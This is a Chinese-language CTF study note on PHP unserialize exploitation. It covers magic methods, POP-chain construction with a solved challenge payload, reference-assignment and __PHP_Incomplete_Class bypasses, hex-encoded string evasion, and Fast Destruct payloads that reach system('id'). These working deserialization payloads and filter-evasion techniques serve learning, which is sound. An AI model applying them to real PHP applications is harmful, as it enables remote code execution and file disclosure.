注意

php类名大小写不敏感

魔术方法

 __wakeup() //------ 执行unserialize()时,先会调用这个函数
 __sleep() //------- 执行serialize()时,先会调用这个函数
 __destruct() //---- 对象被销毁时触发
 __call() //-------- 在对象上下文中调用不可访问的方法时触发
 __callStatic() //-- 在静态上下文中调用不可访问的方法时触发
 __get() //--------- 用于从不可访问的属性读取数据或者不存在这个键都会调用此法
 __set() //--------- 用于将数据写入不可访问的属性
 __isset() //------- 在不可访问的属性上调用isset()或empty()触发
 __unset() //------- 在不可访问的属性上使用unset()时触发
 __toString() //---- 把类当作字符串使用时触发
 __invoke() //------ 当尝试将对象调用为函数时触发

可以参考:
php函数

__construct()

当一个对象被创建时自动调用这个方法 即 $a=new A()时会自动调用

__call()

在对象上下文中调用不可访问的方法时触发

调用不存在的方法

既这个类中存在这个函数,却调用他就会触发

__callStatic()

触发时机:静态调用或调用成员常量时使用的方法不存在

__get()

当有__get()函数时,每次调用属性都将调用这个魔术方法,所以每次调用都会触发
触发时机:调用的成员属性不存在
参数:传参$arg1
返回值:不存在的成员属性的名称

__set()


触发时机:给不存在的成员属性赋值

__isset()

__unset()

__clone()

__toString()

echo 或者.拼接对象时会调用这个魔术方法

总结

构造pop链

如果存在私有属性,则需要url加密

urlencode(serialize($b));

因为私有属性前面和后面存在%00

例题

例题:小白进群题

<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?>

pop链

<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
    private $var="flag.php";
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){//把这个实例当作一个方法来调用
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){//当使用echo或者print输出对象时,将对象转化成字符串
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __get($key){//访问私有属性private、以及不存在的属性时被调用
        $function = $this->p;
        return $function();
    }
}//                ->__construct->__get->__invoke
$a=new Modifier();
$b= new Show();
$c = new Test();
$b->source= $b;
$b->str=$c;
$c->p=$a;
echo urlencode(serialize($b));
?>

结果

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D

注意

__construct() __sleep() 可能会影响pop链的构造,如果影响了得删了
__wakeup 可能是不需要的,需要绕过

php引用赋值&

参考大佬文章补充的

php中可以使两个变量指向同一个内存地址


<?php
function test (&$a){
    $x=&$a;
    $x='123';
}
$a='11';
test($a);
echo $a;

输出:

123

<?php

class KeyPort{
    public $key;

    public function __destruct()
    {
        $this->key=False;
        if(!isset($this->wakeup)||!$this->wakeup){
            echo "You get it!";
        }
    }

    public function __wakeup(){
        $this->wakeup=True;
    }

}

if(isset($_POST['pop'])){

    @unserialize($_POST['pop']);

}

这题的绕过可以通过的引用赋值的方法,让key的值改变的时候也改变wakeup的值

<?php

class KeyPort{
    public $key;

    public function __destruct()
    {
    }

}

$keyport = new KeyPort();
$keyport->key=&$keyport->wakeup;
echo serialize($keyport); 
#O:7:"KeyPort":2:{s:3:"key";N;s:6:"wakeup";R:2;}

__PHP_Incomplete_Class

当我们遇到serialize(unserialize($serialize_text)) !== $serialize_text这种判断的时候可以考虑使用__PHP_Incomplete_Class

实际上 __PHP_Incomplete_Class 是一个类

PHP中,当你尝试将序列化文本进行反序列化操作以获得一个对象时,若 与序列化文本相关联的类还没有在当前 PHP 上下文中被定义或包含时,PHP 就会使用__PHP_Incomplete_Class对象来代替这个对象。

我们看下面的例子

<?php
$result = unserialize('O:7:"MyClass":2:{s:4:"name";s:8:"RedHeart";s:6:"nation";s:5:"China";}');
var_dump($result);
E:\xampp\htdocs\1\4.php:3:
class __PHP_Incomplete_Class#1 (3) {
  public $__PHP_Incomplete_Class_Name =>
  string(7) "MyClass"
  public $name =>
  string(8) "RedHeart"
  public $nation =>
  string(5) "China"
}

可以看到,由于unserialize()函数将序列化文本反序列化为对象时,相关的类没有被定义或包含,导致php使用__PHP_Incomplete_Class对象作为反序列化操作的结果

__PHP_Incomplete_Class的作用主要在于防止因错误导致程序的崩溃,提高程序的可靠性与可用性

同时,__PHP_Incomplete_Class 是不可访问的,你试图访问这个对象的属性时,PHP 将抛出 Warning 异常。

<?php
$result = unserialize('O:7:"MyClass":2:{s:4:"name";s:8:"RedHeart";s:6:"nation";s:5:"China";}');
var_dump($result);
var_dump($result->name);

结果

E:\xampp\htdocs\1\4.php:3:
class __PHP_Incomplete_Class#1 (3) {
  public $__PHP_Incomplete_Class_Name =>
  string(7) "MyClass"
  public $name =>
  string(8) "RedHeart"
  public $nation =>
  string(5) "China"
}
PHP Warning:  main(): The script tried to access a property on an incomplete object. Please ensure that the class definition "MyClass" of the object you are trying to operate on was loaded _before_ unserialize() gets called or provide an autoloader to load the class definition in E:\xampp\htdocs\1\4.php on line 4
PHP Stack trace:

Warning: main(): The script tried to access a property on an incomplete object. Please ensure that the class definition "MyClass" of the object you are trying to operate on was loaded _before_ unserialize() gets called or provide an autoloader to load the class definition in E:\xampp\htdocs\1\4.php on line 4

Call Stack:
    0.0829     404960   1. {main}() E:\xampp\htdocs\1\4.php:0

PHP   1. {main}() E:\xampp\htdocs\1\4.php:0
E:\xampp\htdocs\1\4.php:4:
NULL

serialize(unserialize($x)) !== $x

__PHP_Incomplete_Class 的出现使 serialize(unserialize($x)) !== $x; 也成为了可能。

<?php
$serialize_text = 'O:22:"__PHP_Incomplete_Class":2:{s:4:"name";s:8:"RedHeart";s:6:"nation";s:5:"China";}';
var_dump(serialize(unserialize($serialize_text)) !== $serialize_text);

当我们反序列化__PHP_Incomplete_Class这个类,再序列化后,其内容会变成

O:22:"__PHP_Incomplete_Class":1:{s:4:"name";s:8:"RedHeart";s:6:"nation";s:5:"China";}

序列化文本所描述的属性个数要比__PHP_Incomplete_Class 对象的属性个数少 1

如果我们尝试描述一个所属类为 __PHP_Incomplete_Class 的对象的序列化文本

O:22:"__PHP_Incomplete_Class":2:{s:4:"name";s:8:"RedHeart";s:6:"nation";s:5:"China";}

当我们反序列化又序列化后会变成下面效果

"O:22:"__PHP_Incomplete_Class":1:{s:4:"name";s:8:"RedHeart";s:6:"nation";s:5:"China";}"

在将人为构造的 __PHP_Incomplete_Class 对象进行序列化后,序列化文本中描述对象属性个数的数值由原先的 2 变为了 1

unserialize() 在发现当前 PHP 上下文中没有包含相关类的类定义时将创建一个 __PHP_Incomplete_Class 对象。而 serialize() 在发现需要进行序列化的对象是 __PHP_Incomplete_Class 后,将对其进行特殊处理以得到描述实际对象而非__PHP_Incomplete_Class对象的序列化文本,而这里就包含了 将属性的描述值减一 这一步

<?php
var_dump(serialize(unserialize('O:22:"__PHP_Incomplete_Class":3:{s:27:"__PHP_Incomplete_Class_Name";s:7:"MyClass";s:4:"name";s:8:"RedHeart";s:6:"nation";s:5:"China";}')));

结果

string(69) "O:7:"MyClass":2:{s:4:"name";s:8:"RedHeart";s:6:"nation";s:5:"China";}"

所以实际的执行顺序为

  1. __PHP_Incomplete_Class 对象中的 属性个数减一 并将其作为序列化文本中 对实际对象属性个数的描述值
  2. __PHP_Incomplete_Class 对象的__PHP_Incomplete_Class_Name 作为序列化文本中 对象所属类的描述值。若未从__PHP_Incomplete_Class 对象 中检查到__PHP_Incomplete_Class_Name 属性,则跳过此步。
  3. __PHP_Incomplete_Class 对象的序列化文本中对__PHP_Incomplete_Class_Name 属性的描述删去。若没有发现相关描述,则跳过此步。

绕过关键字

如果不指定__PHP_Incomplete_Class_Name的话,那么__PHP_Incomplete_Class类下的变量在序列化再反序列化之后就会消失,从而绕过某些关键字

反序列化编码

最后反序列化窜可以使用S:+十六进制来绕过例如将
;s:5:"admin"替换为;S:5:"\61dmin"
这里要记住后面的S是大写

Fast Destruct

Fast Destruct一般通过破坏序列化字符串的结构来实现,payload如下

$payload = 'a:2:{i:0;O:7:"classes":0:{}i:1;O:4:"Test":0:{}';
$payload = 'a:3:{i:0;O:7:"classes":0:{}i:1;O:4:"Test":0:{}}';
$payload = 'a:2:{i:0;O:7:"classes":0:{}i:1;O:4:"Test":0:{};}';

Fast Destruct与正常反序列化的区别

正常反序列化

<?php

class B {
    public function __call($f,$p) {
        echo "B::__call($f,$p)\n";
    }
    public function __destruct() {
        echo "B::__destruct\n";
    }
    public function __wakeup() {
        echo "B::__wakeup\n";
    }
}

class A {
    public function __destruct() {
        echo "A::__destruct\n";
        $this->b->c();
    }
}

unserialize('O:1:"A":1:{s:1:"b";O:1:"B":0:{}}');

可以看到会先对B类进行一个__wakeup然后A__destruct,然后是对B类的一些操作

当使用fast Destruct

__wakeup被放到后面执行了,也就是__destruct()函数被提前执行了

使用场景

当要使用类中的__destruct()方法时,如果涉及到throw new Exception("xxxx");时,如果正常构造反序列化串,异常会在__destruct()之前抛出,也就是会跳过__destruct()函数的执行,导致我们没法执行__destruct()中的内容,所以我们得使用Fast Destruct提前触发反序列化。
unserialize()函数得到的对象的生命周期如下:

  • 在PHP中如果单独执行unserialize()函数,则反序列化后得到的生命周期仅限于这个函数执行的生命周期,在执行完unserialize()函数时就会执行__destruct()方法
  • 而如果将unserialize()函数执行后得到的字符串赋值给了一个变量,则反序列化的对象的生命周期就会变长,会一直到对象被销毁才执行析构方法

通常发序列化的入口在__destruct()方法,__wakeup()方法的内容一般为反序列化的限制,如果在反序列化操作之后抛出了异常则会跳过__destruct()函数的执行。

class Clazz
{
    public $func;
    public $args;

    public function __destruct()
    {
        call_user_func($this->func, $this->args);
    }
}
$a = @unserialize($_POST['data']);
throw new Exception("Hacker");

反序列化操作执行之后并没有立即执行__destruct()方法中的内容,而是抛出了异常导致__destruct()方法被跳过。但是我们可以修改序列化得到的字符串使得反序列化解析出错,导致__destruct()方法被提前执行。
我们可以在末尾加入一个1或者去掉一个大括号

//末尾加入了一个数字1
O:5:"Clazz":2:{s:4:"func";s:6:"system";s:4:"args";s:2:"id";1}
//去掉了一个大括号
O:5:"Clazz":2:{s:4:"func";s:6:"system";s:4:"args";s:2:"id";

unserialize()函数在扫描到序列化字符串格式有误时会提取触发对象的__destruct()方法导致命令执行。


一个好奇的人